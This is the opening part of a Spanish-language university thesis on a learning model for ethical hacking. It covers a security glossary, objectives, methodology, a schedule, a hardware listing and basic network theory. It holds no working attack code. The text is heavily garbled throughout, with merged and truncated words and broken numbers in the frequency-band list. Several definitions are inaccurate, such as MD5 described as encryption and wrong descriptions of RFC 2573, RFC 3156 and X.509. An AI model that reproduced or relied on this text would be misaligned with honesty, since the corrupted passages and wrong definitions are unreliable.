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GLOSARIO

ACCESO DENEGADO: Categoria o estado en el que una unidad computdditoguea la
interaccion con el usuario al validar la caren@adtorizacion.

ANTIVIRUS: Aplicacién encargada de la busqueda, localizagéevencion, y eliminacion
de programas que afectan el funcionamiento, estabily rendimiento de una aplicacion o del
equipo de computo mediante proteccion permaneatetante actualizacion y bases de datos
de programas malignos.

AUTENTICACION: Proceso por el cual se da legitimidad de algo vietgpara el acceso a
un sistema o recurso mediante diversos factoresoceom la contrasefia, dispositivos
electronicos (tarjetas inteligentes, token) o digipms biométricos.

AUTENTIFICACION: Proceso mediante el cual se da acceso a un sisies@vicio
mediante la verificacion de datos.

CONFIABILIDAD: Manera en la cual se determina mediante diversadies el periodo de
funcionamiento sin incidentes de un sistema, de mstdo se pronostica las correcciones que
éste requiera para su funcionamiento éptimo y&esgueducir costos de mantenimiento.
CRACKER: Persona que se encarga de modificar o eliminaetisgcciones de un programa
ampliando su funcionalidad de manera indebida pareficio propio con fines lucrativos,
retoricos u ocio.

CRIPTOGRAFIA: Es el modo de proteger la informacion mediante ggos que realizan
una transformacién de los datos para que no puedde&lo por terceros ajenos a la
informacion.

CRIPTOSISTEMA: Procedimiento que se utiliza en un mensaje o irdeiém para cifrarlo
sin tener en cuenta su estructura o significadaanéglla utilizacion de un algoritmo para que
sea incomprensible para las personas ajenas afstaacion y que no posean la clave para
descifrarlo.

DIFFIE-HELLMAN: Protocolo de encriptacion que tiene como fin ganara clave en
comun para el uso de dos participantes mediantaitogps complejos y datos secretos de
cada participante, el ingreso prohibido de un terqauede generar inconvenientes en la
seguridad del protocolo ya que puede intercepteoitaunicacion que tienen los participantes

debido a que éste no dispone de un mecanismo alidanda identidad de los participantes.
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DISPONIBILIDAD: Determina la posibilidad de un sistema o recugareactivo por un
determinado periodo de tiempo para ser utilizadespe consumidores.

FALSIFICADOR: Agente que crea nuevas versiones, modifica docuosentunidades de
servicio en el entorno computacional con el finatterar su funcionamiento producto de la
deteccion de una vulnerabilidad.

FIPS181 Estandar de criptografia que permite a travésoftevare o dispositivo de hardware
generar automaticamente una contrasefa a patin geeudo-aleatorio o al azar.

FRAUDE: Modo de obtener beneficios o informacion de unesist 0 recurso de manera
inapropiada mediante la alteracion o mal uso dshmai

HIJACKING: Técnica ilegal de secuestro que tiene como findlicanseguir informacion
privada mediante programas espias, errores deidadun los sistemas, apropiacion de redes
entre otras técnicas; la técnica méas utilizada ediante el uso de cookies maliciosos en las
paginas web para creer que es la auténtica.

HMAC: Cddigo de autenticacion de mensajes basados enehasial se utiliza para la
verificacidon de la autenticidad de un mensaje egmtad de los datos mediante la
fragmentacion del mensaje y uso de algun algordenencriptacion.

IAB: (Internet Architecture Board) Organismo encargadolal supervision de los procesos
utilizados para crear estandares en internet psi@rotocolos y procedimientos utilizados en
internet ademas de la gestion y publicacion deriemorandos referentes al funcionamiento
de internet y los sistemas conectados a éste.

IEFT: (Internet Engineering Task Force) Organizacion aistradora de la arquitectura de
internet y funcionamiento adecuado de los protecglee la conforman mediante estandares
establecidos por sus miembros los cuales puedercusdquier individuo interesado en
participar.

IESG:(Internet Engineering Steering Group) Unidad orgacional responsable por la
estructuracion de los procesos de gestion técrinaalde la categoria orientadora de internet
producto de la valoracién de los resultados dekT |

LAMER: Individuo que presume de sus conocimientos infaoogty habilidades técnicas

para realizar acciones de hackeo o crackeo coitééey sistemas de terceros.
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LEY 1273: Estipula las acciones indebidas realizadas enistsntas de informacion como
son acceso abusivo, obstaculizacion, dafos, hwtptantacion, transferencias no consentidas
gue son sancionadas segun la norma.

MD5: Algoritmo de encriptacion el cual utiliza 128 bitepresentados en un numero
hexadecimal de 32 digitos.

RFC2573: Protocolo para la generacion de notificaciones rdgyptransitorios en particular
los cuales requieren un mecanismo para determgratedy cOmo enviar mensajes generados.
La Informacion de destino consta de un dominiordesporte y una direccion de transporte.
Esto también se denomina un punto final de transpor

RFC3156: Protocolo para el procesamiento de mensajes ywb ele mensajes dentro del
SNMP Simple Network Management. En él se definenplamcedimientos para el envio DE
varias versiones de mensajes SNMP de acuerdonaddslos de procesamiento.

MARKSMAN: Controlador otorgado para ser flexible, otorgandmeer a los periféricos
con un control total en el proceso de producci@e yueden configurar a los requerimientos
de las aplicaciones.

TCB: Factor que determina la unidad de valoracion dergkgf y confianza dentro de una
arquitectura computacional.

USABILIDAD: Atributo que asocia el nivel de interaccion diredi&l usuario sobre un
sistema dada su trazabilidad operacional.

VIRUS: Programa malicioso que tiene como finalidad el dadbo de informacion lentitud
en el equipo de computo o simplemente molestimsegpos de programas pueden venir
ocultos en otros programas o archivos y puederr pasapercibidos por el usuario.
VULNERABILIDAD: Debilidad en un sistema que permite a personas utarizadas
obtener informacion o realizar cambios inadecugakrjudicando considerablemente a los
usuarios y administradores del sistema, esto se pletcipalmente a errores en el disefio del
sistema los cuales pueden ser corregidos mediantbgs o actualizaciones constantes.
X.509: Estandar para la certificacion de contrasefias gaglimediante un algoritmo
codificado y una sintaxis especifica de validagéana la estructuracion en la autenticidad de
datos.

ZOMBIE: Software dafiino, que infecta arquitecturas hetereg® por accion directa sin

nivel de deteccion con el fin de ocasionar estraigssructivos.
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RESUMEN

El tratamiento procedimental de las acciones dekihg ético, permite al ingeniero de
sistemas de la Universidad Libre comprender, teabajinstrumentar tedrica y practicamente
los problemas relacionados con el analisis de valniéad, la operacion de software
especializado, la configuracién de un vector dguaay la recuperacion logica y secuencial de
conjunto de informacion alterados, modificados Badis por accion de un ataque.

El hacking ético cuyos fundamentos tedricos se eap@n este trabajo, permiten que la linea
electiva definida por el plan de estudios de segdridigital, cuente con un soporte
documental referencial que facilitara a los estués interesados comprender formalmente el
conjunto de principios tedricos requeridos pardesiarrollo pleno y familiarizacion completa
con los conceptos relacionados con la seguridaatnidtica, se valoran en este trabajo lo
pertinente a los referentes de control (RFC 2828pXy X.509), juntos con los principios
asociados con los ataques y amenazas, el desctgiioco del vector de ataque y las

especificaciones funcionales propias de una amenaraque.

PALABRAS CLAVES: Amenaza; ataque; hacking; RFC 2828; vulnerabilidad.
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ABSTRACT

The procedural treatment of ethical hacking acticatows the system engineer at the
University Libre understand, work and implementotfetical and practical problems related to
vulnerability analysis, operation of specializedtware, configuring an attack vector and
logic and sequential set of recovery altered, medibr damaged by the action of an attack
information.

The ethical hacking whose theoretical foundatiomsdiscussed in this paper, allow elective
line defined by the curriculum of digital securitgxpect a referential provide documentary
support to students interested formally understardset of theoretical principles required for
development full and complete familiarity with tbencepts related to computer security, are
valued in this paper concerning matters pertairtmghe control (RFC 2828, X.800 and
X.509), together with the principles associatechwiite attacks and threats, theoretical attack

vector descriptor and the data of a threat or latiagctional specifications.

KEY WORDS: Threat; attack; hacking; RFC 2828; vulnerability.
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INTRODUCCION
El hacking ético, como asignatura regular del mlanestudios de ingenieria de sistemas ha
merecido por su importancia y atencién entre lawddad académica del programa, el poder
contar con material especializado para que losdesttes interesados, comprendan y
desarrollen competencias cognitivas y de domimaateeo en el conjunto de asignaturas que
integran la linea electiva de seguridad informatica
El entregable de este trabajo, familiarizara aligiahte con los principios elementales del
proceso de hackeo, le guiara en el tratamientagibdrramientas especializadas y le invitara a
profundizar sobre el sustento matematico inheraht®anejo de probabilidades de ataque,
flujo de trafico en la red, producto del analises lds vulnerabilidades de una arquitectura
computacional, para de esta manera proceder ggooafiun vector de ataque.
El desarrollo y marco descriptivo, parten de laoskgion del marco tedrico operacional,
capitulo con el cual se familiariza al lector cas laspectos de definicion, consideraciones
metodoldgicas, formulacion de objetivos y estrumtidn de su alcance, seguidamente se dan
a conocer los fundamentos teéricos, funcionaleshabditan la estructuracion del proceso de
hackeo finalizando con el desarrollo de las unidatieaprendizaje por exposicidén sistematica
(UAES), que con 3 elementos descriptores analitasnitiran el logro del objetivo trazado.
Los realizadores sugieren a la direccion de laalide formacion electiva sobre seguridad
informatica, definir un nuevo trabajo que permésisar la funcionalidad y pertinencia de los
resultados alcanzados para proyectar especificeamesitltados especializados que conlleven

a la formalizacion de un texto guia para esta asiga.
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1. MARCO OPERACIONAL DE DESARROLLO
El contenido tematico, que se desarrolla en egptute, registra de manera descriptiva los
parametros operacionales, que constituyen la baseaf, con la cual se puede interpretar y
analizar el conjunto de enunciados que segun nivined establecida al interior del programa
de Ingenieria de Sistemas, constituye el escemrieferenciacion implicita asociado con el
tratamiento y evolucién de todo trabajo de grado.
1.1.1dentificacion del trabajo
MODELO REFERENCIAL DE APRENDIZAJE PARA LA IMPLEMENACION DE
HACKING ETICO
1.2.Presentacion del problema de estudio
1.2.1Marco descriptivo problémico. La guerra de la informacion con sus diversas tesfias
de accidn, a saber: guerra de comando de contretragelectronica, guerra cibernética y guerra
de la informacién econdmica, ha permitido la peshtion del ejército de hackers que como
ejecutivos de ataque y destruccion ocasionan ggaetdemas a los entornos teleinformaticos.
La consideracion del vector de ataque, el emplecheleamientas especializadas para la
deteccion de ataques y la eliminacion de intrugdes,destruccion de software dafiino, invita a la
ingenieria colombiana a estudiar con objetividadaghplejo escenario del hacking ético, para
elaborar ejes de accion orientados a contrarrestdelito informéatico y a brindar completa
seguridad a una arquitectura teleinformatica.
1.2.2. Formulacion del problema. ¢ Cual ha de ser la estructura de desarrollo logisjue
permita modelar situacionalmente las acciones @unades y operacionales del hacking ético?
1.3.Presentacion de objetivos
1.3.1Objetivo general
Construir el modelo referencial que permita la tatsion e implementacion de estrategias de
hacking ético, producto del desarrollo interno lepregrama de Ingenieria de Sistemas de la
Universidad Libre.
1.3.2. Objetivos especificos
+« Validar la fundamentacion tedrica de la seguridddrimatica, segun referentes de la I1AB,
IETF yla IESG.

« Evaluar las estrategias y herramientas existemtesrpalizacion del proceso de hacking ético.
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+¢ Identificar los procesos técnicos para la estracion del andlisis de vulnerabilidades como
eje referencial para estructurar un vector de aaqu

1.4. Justificacion

Todo ingeniero de sistemas debe conocer los pramgonormativas de seguridad informatica,
para valorar los efectos de las amenazas y atagpeesiestruyen un entorno de intercambio
transaccional de valores informaticos; el manejoogipdo de herramientas especializadas
garantiza la construccion de referentes l6gicos eypdotan la vulnerabilidad de un sistema y
permiten configurar prototipos experimentales dejae.

1.5. Alcances y limitaciones

El entregable de este proyecto, permitira a la codaa académica del programa de ingenieria
de sistemas alcanzar dentro de su proceso de fiormexs el area de seguridad informatica los
atributos diferenciadores asociados con las tésrdeahackeo, los manejos de enumeracion, el
crackeo de contrasefias y la deteccion de intrusos.

1.6.Resultados esperados

El modelo experimental a construir como base ialede formacion de los estudiantes de la
electiva de seguridad informatica, validara:

« Normativa integral para la evaluacion y operaciéh ahdlisis de vulnerabilidades de todo
sistema teleinformatico.

+«+ Valoracion de los procesos de deteccidon de intrppsoa construir respuestas efectivas de
filtrado operacional.

« Potencialidad conceptual y logistica experimentarap crackear el SAM, realizar
enumeraciones, valorar permisos por inyeccion Sfpar datos y construir filtros de captura.
1.7.Marco descriptivo investigativo

Se describe para efectos de documentacién, seguamnjecontrol los elementos que dentro del
escenario investigativo, permiten el desarrollegnal del proyecto, a saber:

Tipo de investigaciénPor la estructura formal del proyecto, se requiarapropiacion de los
factores que la investigacion tecnoldgica aplicea@goriza para validar las especificaciones,
enunciados légicos y sincronismo teérico y funcioaa los principios sobre los cuales se
determina un nivel de operacién, considerando f@omancia de la observacién y confrontacion

de resultados mediante la sostenibilidad del aecitgtnologico.
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1.7.1Marco tedrico. EI manejo e instrumentacion de los conceptos gcppios, sobre los
cuales se estructura el hacking ético, debe safiadinto la plataforma inherente al desarrollo de
la seguridad informatica como a la base estructdealoperacién que relaciona el delito
informatico como actividad consecuente de un ataquamenaza proferida sobre una
arquitectura computacion por los enemigos de lalosdreferentes descriptivos se presentan a
continuacion:

+» Seguridad digital.

+¢ Informatica forense.

% Sistemas teleinformaticos.

La seguridad digital, proporciona los conceptogiggipios que regulan con transparencia los
mecanismos Y servicios que garantizan la integridatsaccional en la red, para ello se consulta
el conjunto de normas promulgadas por las ageriéigs; IETFy la IESG, a saber:

< RFC 2828

< X.800°

< X.509

Complementariamente, se requiere el trabajo y d@nstontinla con los especificadores

tecnologicos que definen la seguridad en la IRglguridad en la web y seguridad en el correo

! Internet Architecture Board. Comité independietiteinvestigadores y profesionales con un interésiaé en la
salud y la evolucién del sistema de Internet. Losmmbros de la IAB estan profundamente comprometigiosacer
funcionar Internet de forma efectiva y evolucionpara satisfacer el futuro de alta velocidad a gran
escala.http://www.ecured.cu/index.php/Internet_Aexture_Board.

2 Internet Engineering Task Force. La misién de BAH es hacer que Internet funcione mejor mediaate |
produccion de alta calidad, documentos técnicasngeites que influyen en el disefio de manera qgeriége, el uso

y gestion de la Internet.https://www.ietf.org/

? Internet Engineering Steering Group. El Grupo nigehieria de Internet Directivo(IESG) es resporesalal la
gestion técnica de las actividades del IETF y elceso delos estandares de Internet. El IESG estalinente
responsable delas acciones asociadas a la entraldangvimiento a lo largo del "seguimiento de lasmas”, en
Internet, incluyendo la aprobacion final de las eeffiraciones como la normalizacion de Internet.
https://www.ietf.org/iesg/

“Request for Comments: 2828 - Internet Security &ips Este glosario proporciona abreviaturas, eapiones y
recomendaciones para el uso de sistema de infadmaei la terminologia de seguridad, la intenciémegrar la
comprensibilidad de la escritura que se ocupa dedaridad en Internet.http://www.rfc-base.org2828.html

® Recomendacién X.800. Arquitectura de seguridatadaterconexién de sistemas abiertos para aptioasi del
CCITT (Comité Consultivo Internacional Telegrafigd elefénico).
https://www.itu.int/rec/dologin_pub.asp?lang=s&IdREC-X.800-199103-I''PDF-S&type=items

®X.509. Estandar para infraestructuras de claveboathttps://www.rfc-editor.org/rfc/rfc2459.txt
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electronico, partiendo obligatoriamente del trawro particular de los algoritmos de
criptografia: DES AES’, RSA’, MD5' y DIFFIE-HELLMAN™,

Internamente, se tomaran como base de desarrsliguias de catedra que para el desarrollo de
la asignatura electiva en seguridad informaticaepcel programa de Ingenieria de Sistemas de
la Universidad Libre.

De manera paralela, se revisaran los articulosbyigaciones que con memorias de trabajo ha
producido la Asociaciéon Colombiana de Ingenieros Sigtemas (ACIS) en sus diferentes
seminarios internacionales de seguridad informasieaanalizaran los referentes producidos por
la DIJIN y se consideraran como factores de oldigmtconsulta las politicas determinadas por
el MIinTIC, la Direccion Nacional de Planeacion y Ministerio de Defensa (Documento
COMPES 370%Y.

1.7.2. Marco conceptual.La construccion del entregable resultante, es todde la relacion
operacional de principios y conceptos definidos etnescenario de la seguridad digital,
enmarcando como valoradores aspectos pertinergearguitectura 1ISO x.800, analizando las
caracteristicas del software dafiino, ponderandionfeortancia de los certificados digitales y
clasificando las ocurrencias del delito informatemmo resultado de la accion de los hackers,
estudiando complementariamente la normatividadesgoen los vademécum liberados por las
recomendaciones especializadas RFC 2828, X.5090g,0para ubicar contextualmente los
escenarios sobre los que opera la seguridad, a sabeo electronico, IP, web y gestion de red,

de esta manera los realizadores manifiestan larpietacion funcional de los agentes

" Data Encryption Standard. Estandar de cifrado atesd(DES) que puede ser utilizado por las orgaitinas
federales para proteger los datos sensibles./biyr/nist.gov/publications/fips/fips46-3/fips4Gaf

8Advanced Encryption Standard. Especifica un algwitcriptografico FIPS-aprobado que se puede utijizaa
proteger los datos electrénicos. El algoritmo AESie cifrado de bloques simétricos que puedenmaciicifrar) y
desencriptar (descifrar) informacion. http://csist.gov/publications/fips/fips197/fips-197.pdf

°Rivest, Shamir y Adleman. Método de encriptaciémapia transmisién segura de datos a través de esanal
inseguros.http://informatica.uv.es/iiguia/MC/Tedma_capitulol12.pdf

"Message-Digest Algorithm 5. Algoritmo de encriptacipensado para aplicaciones de firma digital, domal
archivo grande debe ser comprimido de una mangraaeantes de ser encriptado con una clave prijsmtaeta)
bajo un sistema de cifrado de clave publica comA.R8ps://tools.ietf.org/html/rfc1321

"protocolo criptogréafico Diffie-Hellman.Es un protde de establecimiento de claves entre partes guéaam
tenido contacto previo, utilizando un canal insegury de manera andénima (no autentificada).
http://190.90.112.209/http/criptografia/Diffie-Helan. pdf

12 ineamientos de politica para Ciberseguridad y fCiefensa.Este documento busca generar lineamietetos
politica en ciberseguridad y ciberdefensa orierdadodesarrollar una estrategia nacional que coestar el
incremento de las amenazas informéticas que afsigaificativamente al pais.
http://www.mintic.gov.co/portal/604/articles-351®alimento.pdf
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constructivos asociados con el malware, middleware/ector de ataque y los procesos de
administracion de red, los cuales conforman laafdama basica de caracter proyectivo y
analitico.
De manera complementaria, es importante para Extcsf de comprension e interpretacién de
los alcances del hacking ético, el considerar dliante legal de la jurisprudencia colombiana,
gue tutela como bien juridico segun la ley 1273adie 2009, la informacién, que para su lectura
integral se presenta en el anexo A.
1.7.3Marco tecnoldgico.El sustento computacional para el desarrollo deygxto, se define
dentro de la plataforma operacional de los sisteWaslows y Linux y se validara con la
utilizacion de las herramientas especializadas paradeteccion de vulnerabilidades, la
construccién de vectores de ataque, el acceso BI'S¥ la configuracién de significantes de
recuperacion sobre escenarios modificados por mcde un hacker; en resumen el marco
tecnologico, implica la utilizacion de:
+¢ Plataforma computacional
o Especificacion técnica
» Nombre del Sistema Operativo:  Microsoft Windows Bra.
» Tipo de sistema: Equipo basado en X86.
» Fabricante del sistema: INTEL.
» Modelo del sistema: DH67BL.
» Procesador: Intel(R) Core(TM) i5-2310 CPU @ 2.90GPE01 Mhz, 4 procesadores
principales, 4 procesadores logicos.
» Version y fecha de BIOS: Intel Corp. BLH6710H.86246.2011.1222.1415,
22/12/2011.
Fabricante de la placa base: Intel Corporation.
Memoria fisica instalada (RAM): 4,00 GB.
Memoria fisica total: 3,41 GB.
Memoria fisica disponible: 1,45 GB.
Memoria virtual total: 5,22 GB.

YV V. V V V VY

Memoria virtual disponible: 2,15 GB.

13Secure Access Module. Se utiliza para mejorar gursgad y rendimiento en los dispositivos que siar
realizar una transaccién segura, como terminalg@mgde. https://es.wikipedia.org/wiki/Secure_Accésésdule
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» Espacio de archivo de paginacion: 1,81 GB.
Especificacion de configuracion

» Multimedia.

0 Cobdecs de audio.

0 Cobdecs de video.

CD-ROM.

Dispositivo de sonido.

Pantalla.

YV V V VY

Entrada.
o Teclado.

o0 Mouse.

Y

Modem.
> Red.
o Adaptador.
o Protocolo.
o WinSock.
» Puertos.
» Almacenamiento.
o Unidades.
o Discos.
o SCSI.
o IDE.
> Impresion.
» USB.
Especificacion de enlace y supervision
» Complejo raiz PCI Express.
» Controladora de bus SM.
» Controladora de High Definition Audio.
» Controladora de host extensible 3.0 de USB de Rsn@996 (Microsoft).
» Controladora de host mejorada USB de la familigo€&ti Intel(R) serie 6/serie C200 -
1C26.
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» Controladora de host mejorada USB de la familigo€&ti Intel(R) serie 6/serie C200 -
1C2D.

Controladora Realtek PCI GBE Family.

Controladora SATA AHCI estandar.

Intel(R) 82579V Gigabit Network Connection.

Intel(R) HD Graphics.

Intel(R) Management Engine Interface.

Puente PCI estandar de PCI a PCI.

Puerto raiz 1 PCI Express de la familia de chipsetisl(R) 6 Series/C200 Series -
1C10.

» Puerto raiz 4 PCIl Express de la familia de chipsats(R) 6 Series/C200 Series -
1C16.

» Tarjeta de sistema.

YV V.V VYV V VYV V

» Temporizador de eventos de alta precision.
o Especificacion de control
> HKEY_CLASSES_ROOT
» HKEY_CURRENT_USER
» HKEY_LOCAL_MACHINE
o BCDO00000000
DRIVERS
HARDWARE
SAM
SECURITY
SOFTWARE
o SYSTEM
» HKEY_USERS
» HKEY_CURRENT_CONFIG

1.7.4Referenciacion estructural y operacional El hacking ético y la seguridad informatica,

o O O O O

estan directamente relacionados con la formalisacidnceptual de la llamada informatica
forense, que se caracteriza por manipular lo parten a la interpretacion del valor de la

informacion en el entorno legal de la jurisprudanel cual segun los experto en informatica
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forense: Giovanni Zuccardi y Juan David Gutiérelndo se realiza un crimen, muchas veces
la informacion queda almacenada en forma digitalembargo, existe un gran problema, debido
a que los computadores guardan la informacién déomtama que no puede ser recolectada o
usada como prueba utilizando medios comunes, sendgilizar mecanismos diferentes a los
tradicionales, en virtud de lo cual, la informatfcaense adquiere una gran importancia dentro
del &rea de la informacion electronica, esto debidamumento del valor de la informacion y/o al
uso que se le da a ésta, al desarrollo de nuepasies, resaltando su cardcter cientifico, tiene
sus fundamentos en las leyes de la fisica, deeletrelidad y el magnetismo. Es gracias a
fenomenos electromagnéticos que la informacionuselg almacenar, leer e incluso recuperar
cuando se creia eliminada.

La consideracion del hacking ético, presupone rbcimiento de la terminologia especializada
relacionada con el acceso ilicito, la accion legal ataque informético, términos que por su
importancia seran referenciados apropiadamente.

+¢ Acceso ilicito: Al que sin autorizacion conozca o copie informaadntenida en sistemas o
equipos de informatica protegidos por algin mecamide seguridad.

«¢+ Accion legal: Acto juridico, hecho humano, voluntario o consaentlicito que tiene por fin
inmediato establecer entre las personas relacjaridgas, crear, modificar o extinguir derechos
y obligaciones.

+« Ataque informatico: Es un método por el cual un individuo, mediante sistema
informatico, intenta tomar el control, desestabilip dafiar otro sistema informético (ordenador,
red privada, etcétera).

1.7.5Marco legal. Este proyecto considera como formalismos de adeigal, lo referente al
marco que contempla los derechos de autor y laigma@ intelectual, formulados por el
magistrado Alfredo Vega Jaramillo, quien en el 260, publico el texto tituladoManual de
derecho de autot*, bajo el auspicio del& Direccién Nacional de Derecho de Autor de la
Unidad Administrativa Especial Ministerio del Interior y de Justicid’; en este compendio se
considera lo pertinente a: Propiedad intelectuatebho de autor y propiedad industrial, derecho
de autor y derechos conexos, objeto del derechautier, autores y titulares, los derechos

morales, titularidad y ejercicio del derecho mgrébs derechos de reproduccion, comunicacion

“IARAMILLO VEGA, Alfredo. Manual de derecho de autgonline].Bogota 2010.Disponible en internet
http://www.derechodeautor.gov.co/documents/10181998/Cartilla+derecho+de+autor+%28Alfredo+Vega%?29.p
df/e99b0eas-5c06-4529-ae7a-152616083d40 Manuatmbeldo de autor
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publica, transformacion, distribucién y seguimientocontenido que para facilitar su lectura e
interpretacion se dio a conocer , al elaborar tppesta correspondiente; en lo concerniente al
acervo juridico existente.

1.8. Metodologia ingenieril

La construccion del entregable correspondientéeapEeyecto, sera el resultado de la utilizacion
normativa de las fases que integran un proyectaedeologia, calificado en el area de la
teleinformética y especificamente en el entorntadgeguridad digital, la carta técnica acogida
por los desarrolladores, comprende las fases sigsie

+» Fase de contextualizaciénSe procede a recolectar, analizar y clasificanfarinacion, que
constituye la base para la formulacion e intergrétaproblemita, identificando de esta manera:
¢, Qué se quiere?, ¢ CoOmo se hard?, ¢ Con qué seJRaePqué se harad? y ¢ Quién lo utilizara?
+ Fase de dimensionamiento funcionalSe esquematiza y elabora el prototipo de analisis y
valoracién, identificando el conjunto de variabledaciones a integrar y el soporte tecnoldgico a
utilizar, sefialando los aspectos inherentes arfauiacion de indicadores y al establecimiento
de la ruta critica para el desarrollo del proyecto.

¢ Fase de disefo y construccionfomando como referente de juicio y desarrollo etgiipo
elaborado, se procede a realizar las actividadasicesradas modularmente, validando su
efectividad, eficiencia y nivel de calidad, paraegarizar la solucidon que proyectara la entrega
del resultado esperado.

+» Fase de validacion y liberacion:Se definen los procedimientos de prueba a nivetaja
blanca y caja negra y se constata frente a unaa@ohl experimentada, si los resultados
encontrados, satisfacen plenamente los requeriosieiormulados, si se valida positivamente
entonces el modelo puede ser socializado y liberadocaso contrario debera reformularse,
corrigiendo las falencias detectadas.

1.9. Cronograma de desarrollo

En la figura 1, se presentan las actividades aradisa segun calendario operacional definido,

este cronograma presenta las siguientes caraici@sist
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++ Calendario de ejecucion
Fecha de Inicio: Abril 20 de 2015
Fecha de terminacion: Septiembre 15 de 2015
+¢ Unidad de programacion
La semana
+ Herramienta de desarrollo
Microsoft Exce®
+¢+ Asignacion de tiempos
En la tabla 1, se listan los tiempos estimados,timmpos de holgura y los nombres de las

actividades definidas por la estructura de la madtmgia seleccionada.

Tabla 1. Asignacion de tiempos de desarrollo

ACTIVIDAD TIEMPO TIEMPO DE
ESTIMADO HOLGURA
Contextualizacion 3 2
Dimensionamiento funcional 4 2
Disefio y construccién 4 2
Validacion y liberacion 3 1
Total 14 7
Duracion proyecto 21

Fuente: Construccion propia
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SIMBOLDGIA

Tiempa Estimada

Tiempo de Holgura

Controles

Mes

Abril

Junio

Julio

Septiembre

Semana

1]2]3]¢

1]2]3]a]s

1]2]3]4

Agosto
1]2]3]4]s

1]2

Actividad

Fase d= contextualizacion

Fase de dimendonamiento fundonal

mas

Fase de disefio y construccion

=

Fase de validadon y liberacion

Entrega Final

Figura 1. Cronograma proyecto.

Fuente: Construccién propia.
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2. REFERENTE DESCRIPTIVO CONCEPTUAL
Contiene este capitulo, los conceptos y principeggicos que constituyen la plataforma de
soporte para la construccion de la solucién prdpuese presenta en primera instancia los
fundamentos de la teoria de redes, luego se procedeel tratamiento de la seguridad
informatica, finalizando con la formulacion basit esquema logico del hacking.
2.1. Fundamentos teleinformaticos
Se describen en este numeral, los conceptos netatns con el SECD, el modelo de
especificacion, la estructura funcional de la fibpdica, las redes de acceso y el enlace satelital,
tal como se presentan a continuacion:
2.1.1Sistema electrénico de comunicacién de datos (SECHI SECD, es la entidad que
habilita la integracion entre el transmisor, el feg el receptor, para implementar el
intercambio transaccional de valores informaticbenfiasi 2010], su estructura operacional, se

despliega en la figura 2.

Fuente Receptor

Informacion Destino
— el e

Transmisor

Figura 2. Estructura SECD.

Fuente: Aporte realizadores
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El SECD, permite el intercambio de sefiales analggdgyitales, las sefiales analogas varian
continuamente de manera sinusoidal, mientras que elersistema digital la energia
electromagnética se propaga mediante sefialestdiscgeie varian entre +5 voltios, -5 voltios y
la tierra.
Formalmente, la representacion de la onda sinusestia dada por estas ecuaciones:
V({i)=Vsen(zft+0O)
V({t)=Vcos(2tft+0O)
I(t)=Vsen(2tft+0O -90)
En las cuales:
V (t) = Onda de voltaje que varia en el tiempo.
| (t) = Onda de corriente.
V = Voltaje pico.
F = Frecuencia en Hertz.
© = Fase en radianes.
| = Corriente pico.
21 F = W= Velocidad angular.
Cuando varian los parametros funcionales de orgldhase referencia a: AM = Amplitud
modulada, FM = Frecuencia modulada y PM = Fase ftaddu
2.1.2Espectro  electromagnético. Convencionalmente, el espectro de frecuencias
electromagnéticas, se define como el escenariastiébdcion de la energia electromagnética,
gue integra las frecuencias subsonicas, la bandadit® la banda de fibra y los rayos césmicos
[Tomasi 2010]; el espacio de variacion correspantdies:
% Banda subsénica: 16- 10" Hertz.
% Banda de audio: 0- 1C Hertz.
< Banda de radio: £0- 10' Hertz.
% Banda de microondas terrestres? 200" Hertz.
% Banda de fibra 6ptica: 16— 107 Hertz.
+ Banda de alta frecuencia.
o Rayos X: 18° Hertz.

o Rayos Gamma: 1®&Hertz.
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o Rayos césmicos: fOHertz.
2.1.3. Sistema distribuido. Se entiende el sistema distribuido como la coleccde
computadores con independencia operacional, qudawadle forma transparente la usabilidad e
interactividad del usuario [Tanenbaum 2012]; elesia distribuido, garantiza la transparencia
de ubicacion, la transparencia de migracion ydagparencia de reubicacién segin su operacion,
los sistemas distribuidos pueden ser clasificadds a
+¢ Sistemas distribuidos de computo.
« Sistemas distribuidos de informacion.
Los sistemas distribuidos de computo, integrarsisemas de clister y los sistemas en Grid, la
figura 3, ilustra la estructura l6gica de todoesisa distribuido, sefialando que gracias a la
integracion y secuencializacion de caracter logesofactible garantizar que toda transaccion en

un sistema distribuido es atémica, consistentigdasy durable.

g

EquipoA

N

Aplicacion X Aplicacion Z
Aplcacion W

L DS/ Solans

N - N

PLATAFORMA DE RED

Figura 3. Estructura sistema distribuido.

Fuente: Aporte realizadores.
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2.1.4. Modelo de especificacibnLa parametrizacion de las actividades que confortaan
operaciones inherentes a la configuracion de uh&iéa telematica, se define en los niveles
fisico, de enlace, de red, transporte, sesiongptasion y aplicacion [Reiss 2006].

El nivel fisico, describe las propiedades eléctrigamecanicas de las interfaces, el nivel de
enlace, construye las cabeceras de control panamtjo de paquetes, el nivel de red, define los
protocolos sin conexién que encaminan de formandiite los datos del usuario, el nivel de
transporte, especifica los protocolos que normatitanvio de valores informaticos, el nivel de
sesion, establece el dialogo operacional, en el e presentacién se asegura la entrega
inteligible de la informacion y finalmente, el nivde aplicacion, habilita al usuario para
interactuar con los servicios configurados.

En la figura 4, se muestran las estructuras casreipntes a los modelos OSI/ISODDN'® y
APPLETALK?.

Modelo OSI/ ISO Modelo Appletalk
Aplicacion Appleshare
Presentacion AFP!

Sesion ADPS ] | =

Transporte NBP I RTNP

DDP?

controfador
Enlace Local Ethemet Token

. .

Fisico Fisico

Figura 4. Estructura modelos de especificacion.

Fuente: Construccién propia.

®*0Open System Interconnection. Es el modelo de restriitivo para la definicion de arquitecturas en la
interconexioén de los sistemas de comunicaciongss:Hes.wikipedia.org/wiki/Modelo_OSI

®DDN. Esta disefiado para encaminar y tiene un gradoelevado de fiabilidad, es adecuado para redeslgs y
medianas, asi como en redes empresariales. Sm wtihivel mundial para conectarse a Internetosaérvidores
web. Es compatible con las herramientas estandargoalizar el funcionamiento de la red.
https://es.wikipedia.org/wiki/Familia_de_protocolde Internet

7 AppleTalk. Es un conjunto de protocolos desardalfapor Apple Inc. para la interconexion de redesles en
favor de las redes TCP/IP. https://es.wikipedidwitd/AppleTalk
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2.1.5. Redes de accesoLa red de acceso, es la entidad operacional reaplengle la
interconectividad con el usuario final [Capmany 2J0%u tipologia permite diferenciar: FTTH
FTTB', FTTC®, FTTCAB*'y FTTEX?.

Estas configuraciones, operan gracias a la paatitip y control sincrénico de los siguientes

componentes, a saber: OLT: Terminales de lineacamtiOADN: Insertor y extractores de
canales 6pticos y OXC: Matrices de conmutacioncapttl marco operacional de la capa 6ptica,
se encuentra definido por la recomendacion G¥37d@sualizandose en la figura 5 sus

componentes.

Nivel de seccion Nivel de linea

Multiplexor

Ampli_ﬁbador Usuario

Figura 5. Componentes G.872.
Fuente: Aporte realizadores.

